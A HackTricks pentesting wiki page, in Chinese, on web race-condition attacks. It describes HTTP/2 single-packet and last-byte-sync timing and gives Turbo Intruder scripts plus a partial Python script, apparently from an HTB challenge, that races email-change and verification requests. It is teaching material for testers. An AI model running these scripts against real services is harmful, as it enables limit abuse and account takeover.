hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
      • Proxmark 3
      • FISSURE - The RF Framework
      • Low-Power Wide Area Network
      • Pentesting BLE - Bluetooth Low Energy
    • Industrial Control Systems Hacking
    • Burp Suite
    • Other Web Tricks
    • Interesting HTTP
    • Emails Vulnerabilities
    • Android Forensics
    • TR-069
    • 6881/udp - Pentesting BitTorrent
    • Online Platforms with API
    • Stealing Sensitive Information Disclosure from a Web
    • Post Exploitation
    • Cookies Policy
由 GitBook 提供支持
在本页
  • 加强竞争条件攻击
  • 适应服务器架构
  • 攻击示例
  • 原始 BF
  • RC Methodology
  • 限制超限/TOCTOU
  • 隐藏子状态
  • 时间敏感攻击
  • 隐藏子状态案例研究
  • 支付并添加商品
  • 确认其他电子邮件
  • 将电子邮件更改为2个电子邮件地址基于Cookie
  • 隐藏数据库状态/确认绕过
  • 绕过2FA
  • OAuth2永久性持久性
  • WebSockets中的RC
  • 参考资料
  1. 🕸️Pentesting Web

Race Condition

上一页Proxy / WAF Protections Bypass下一页Rate Limit Bypass

最后更新于1年前

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要深入了解此技术,请查看原始报告https://portswigger.net/research/smashing-the-state-machine

加强竞争条件攻击

利用竞争条件的主要障碍是确保多个请求同时处理,其处理时间之间非常接近—最好小于1毫秒。

以下是一些同步请求的技术:

HTTP/2单数据包攻击 vs. HTTP/1.1最后字节同步

  • HTTP/2:支持通过单个TCP连接发送两个请求,减少网络抖动的影响。然而,由于服务器端的变化,两个请求可能不足以实现一致的竞争条件利用。

  • HTTP/1.1 '最后字节同步':允许预先发送大部分20-30个请求的内容,保留一个小片段,然后一起发送,实现同时到达服务器。

准备进行最后字节同步包括:

  1. 发送标题和主体数据,但不包括最后一个字节,不结束流。

  2. 初始发送后暂停100毫秒。

  3. 禁用TCP_NODELAY以利用Nagle算法批处理最终帧。

  4. 发送ping以预热连接。

随后发送保留的帧应导致它们以单个数据包的形式到达,可通过Wireshark验证。此方法不适用于通常不涉及竞争条件攻击的静态文件。

适应服务器架构

了解目标的架构至关重要。前端服务器可能会以不同方式路由请求,影响时间。通过无关紧要的请求进行预先的服务器端连接预热,可能会使请求时间正常化。

处理基于会话的锁定

像PHP的会话处理程序这样的框架通过会话对请求进行序列化,可能会隐藏漏洞。为每个请求使用不同的会话令牌可以规避此问题。

克服速率或资源限制

如果连接预热无效,通过故意触发Web服务器的速率或资源限制延迟,通过洪水式的虚拟请求可能有助于通过引发有利于竞争条件的服务器端延迟来促进单数据包攻击。

攻击示例

  • Tubo Intruder - HTTP2单数据包攻击(1个端点):您可以将请求发送到Turbo intruder(Extensions -> Turbo Intruder -> Send to Turbo Intruder),您可以更改请求中要暴力破解的值为**%s,如csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s,然后从下拉菜单中选择examples/race-single-packer-attack.py**:

如果您要发送不同的值,您可以修改使用剪贴板中的单词列表的代码。

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

如果网站不支持HTTP2(仅支持HTTP1.1),请使用Engine.THREADED或Engine.BURP,而不是Engine.BURP2。

  • Tubo Intruder - HTTP2单数据包攻击(多个端点):如果您需要向一个端点发送请求,然后向其他端点发送多个请求以触发RCE,您可以修改race-single-packet-attack.py脚本,类似于:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • 在Burp Suite的Repeater中,还可以通过新的并行发送组选项来执行此操作。

  • 对于limit-overrun,您可以在组中添加相同请求50次。

  • 对于连接预热,您可以在组的开头添加一些请求到网站的非静态部分。

  • 要延迟在处理一个请求和另一个请求之间的过程,在2个子状态步骤中,您可以在这两个请求之间添加额外的请求。

  • 对于多端点的RC,您可以开始发送进入隐藏状态的请求,然后在其后立即发送50个利用隐藏状态的请求。

  • 自动化Python脚本:此脚本的目标是在不断验证的同时更改用户的电子邮件,直到新电子邮件的验证令牌到达最后一个电子邮件(这是因为在代码中看到了一个RC,其中可以修改电子邮件,但是验证令牌发送到旧电子邮件,因为指示电子邮件的变量已经填充了第一个电子邮件)。 当在收到的电子邮件中找到单词"objetivo"时,我们知道收到了更改电子邮件的验证令牌,然后结束攻击。

# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
